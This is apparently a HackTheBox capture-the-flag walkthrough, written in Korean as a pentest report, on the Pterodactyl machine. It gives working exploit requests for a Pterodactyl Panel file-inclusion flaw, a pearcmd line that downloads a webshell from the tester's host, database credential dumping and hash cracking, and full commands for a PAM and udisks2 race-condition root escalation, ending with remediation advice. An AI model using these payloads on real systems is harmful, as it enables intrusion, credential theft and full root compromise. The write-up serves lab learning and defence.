
HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included.
날짜: 2026년 4월 8일
대상: Pterodactyl (HackTheBox)
난이도: 중간
OS: Linux (openSUSE Leap 15.6)
테스터: V0idW1re
HackTheBox의 Pterodactyl 머신은 잘못 구성된 웹 애플리케이션과 연쇄적인 권한 상승 취약점을 포함한 현실적인 공격 시나리오를 제시했습니다. 인증되지 않은 상태에서 시작하여, 테스터는 논리적인 익스플로잇 단계를 통해 전체 루트 권한을 획득했습니다. 공격 체인에는 인증되지 않은 로컬 파일 포함 취약점, PHP 패키지 관리자를 창의적으로 악용한 원격 코드 실행, 자격 증명 추출 및 크래킹, 그리고 마지막으로 두 개의 공개된 CVE를 연쇄적으로 사용하여 낮은 권한의 사용자에서 루트로 권한 상승하는 과정이 포함되었습니다.
| 필드 | 값 |
|---|---|
| 대상 IP | 10.129.25.223 |
| 호스트명 | pterodactyl.htb |
| OS | openSUSE Leap 15.6 |
| 서비스 | SSH (22), HTTP (80) |
| 서브도메인 | panel.pterodactyl.htb |
평가는 표준 침투 테스트 방법론을 따랐습니다:
심각도: 심각
구성 요소: Pterodactyl Panel v1.11.10 — /locales/locale.json 엔드포인트
설명:
Pterodactyl Panel의 로케일 엔드포인트는 locale 및 namespace 쿼리 매개변수를 적절히 검증하지 않아 디렉터리 트래버설이 가능했습니다. 애플리케이션이 네임스페이스 값에 .php를 추가하고 PHP의 include 메커니즘을 통해 로드했기 때문에, 공격자는 서버가 파일 시스템 상의 임의의 PHP 파일을 로드하고 실행하도록 강제할 수 있었습니다.
익스플로잇:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
영향:
데이터베이스 자격 증명이 config/database.php에서 추출되었습니다:
pterodactylPteraPanelpanelLaravel 애플리케이션 키도 config/app.php에서 추출되었습니다.
증거:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
심각도: 심각
구성 요소: PHP PEAR 설치 + LFI
설명:
LFI 프리미티브가 확립된 상태에서, 테스터는 PEAR 패키지 관리자의 pearcmd.php 스크립트를 활용했습니다. PHP 구성에 register_argc_argv=On이 설정되어 있으면(phpinfo를 통해 확인), 쿼리 문자열이 pearcmd에 의해 명령줄 인수로 구문 분석됩니다. download 명령을 사용하여 공격자 서버에서 PHP 웹셸을 가져와 패널의 공개 웹 디렉터리에 저장했습니다.
익스플로잇:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
영향:
PHP 웹셸이 /var/www/pterodactyl/public/shell.php에 작성되어, wwwrun 사용자로 인증되지 않은 원격 코드 실행이 가능해졌습니다.
증거:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
심각도: 높음
구성 요소: MySQL 패널 데이터베이스
설명:
RCE 셸을 사용하여 테스터는 LFI를 통해 얻은 자격 증명으로 MySQL 데이터베이스에 연결했습니다. users 테이블에는 모든 패널 사용자에 대한 bcrypt 해시 암호가 포함되어 있었습니다. 사용자 phileasfogg3의 해시는 일반적인 단어 목록을 사용하여 오프라인에서 크래킹되었습니다.
익스플로잇:
SELECT username, password FROM users;
크래킹된 자격 증명:
phileasfogg3!QAZ2wsx영향:
phileasfogg3으로 SSH 액세스가 획득되었고, 사용자 플래그가 캡처되었습니다:
user.txt: 916235b4261e70fdb090402c641a7808
심각도: 높음
구성 요소: PAM 구성 — pam_env.so 및 user_readenv=1
설명:
openSUSE Leap 15.6의 PAM 구성은 user_readenv=1로 설정된 pam_env.so를 통해 사용자의 ~/.pam_environment 파일을 소싱합니다. 이 파일에 특정 환경 변수를 설정함으로써, 권한이 없는 SSH 사용자가 systemd-logind 및 Polkit을 속여 해당 세션이 활성 물리적 콘솔 세션인 것처럼 믿게 하여 allow_active 권한을 얻을 수 있습니다.
익스플로잇:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
SSH로 다시 연결한 후 세션이 Active=yes로 인식되어, 일반적으로 물리적 콘솔이 있어야 가능한 udisks2 D-Bus 메서드를 권한 없이 호출할 수 있게 되었습니다.
증거:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt
심각도: 심각
구성 요소: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
설명:
udisks2가 libblockdev를 통해 XFS 파일 시스템을 리사이즈할 때, 임시로 파일 시스템 이미지를 /tmp/blockdev.* 아래의 세계에서 접근 가능한 디렉터리에 nosuid 및 nodev 마운트 플래그 없이 마운트합니다. 이로 인해 짧은 경쟁 조건 창이 생성되어 이미지에 존재하는 모든 SUID 바이너리가 상승된 유효 UID로 실행될 수 있습니다.
allow_active Polkit 권한(CVE-2025-6018을 통해 획득)을 가진 공격자는 다음을 수행할 수 있습니다:
udisksctl loop-setup을 통해 루프 장치 설정XFS 이미지 호환성에 관한 중요 참고 사항:
openSUSE Leap 15.6(SP5/SP6)의 경우 특정 플래그로 XFS 이미지를 생성해야 합니다:
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
익스플로잇:
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
증거:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
루트 플래그:
root.txt: d3a242011c18cb81f08ad80337330641
| 플래그 | 값 |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[Unauthenticated]
↓ CVE-2025-49132 (LFI)
[Database Credentials]
↓ pearcmd RCE
[wwwrun shell]
↓ MySQL credential dump + hash crack
[phileasfogg3 SSH]
↓ CVE-2025-6018 (PAM bypass → allow_active)
↓ CVE-2025-6019 (udisks2 XFS resize race)
[root]
대상 시스템의 완전한 침해. 이 수준의 액세스 권한을 가진 공격자는 다음을 수행할 수 있습니다:
이 보고서는 HackTheBox 랩 실습의 일부로 교육 목적으로 작성되었습니다. 모든 테스트는 합법적이고 격리된 랩 환경에서 수행되었습니다.
| 발견 사항 | 수정 조치 |
|---|
| CVE-2025-49132 (LFI) | Pterodactyl Panel을 v1.11.11 이상으로 업그레이드하여 locale/namespace 매개변수에 대해 엄격한 영숫자 검증을 적용 |
| pearcmd RCE | php.ini에서 register_argc_argv=Off 설정; 필요하지 않으면 PEAR 제거 |
| 취약한 암호 | 강력한 암호 정책 시행; 암호 관리자 사용 |
| CVE-2025-6018 (PAM) | PAM 구성에서 pam_env.so에 대해 user_readenv=0 설정 |
| CVE-2025-6019 (udisks2) | udisks2 및 libblockdev를 패치된 버전으로 업그레이드; org.freedesktop.udisks2.modify-device에 대한 Polkit 규칙 수정하여 allow_active를 yes에서 auth_admin으로 변경 |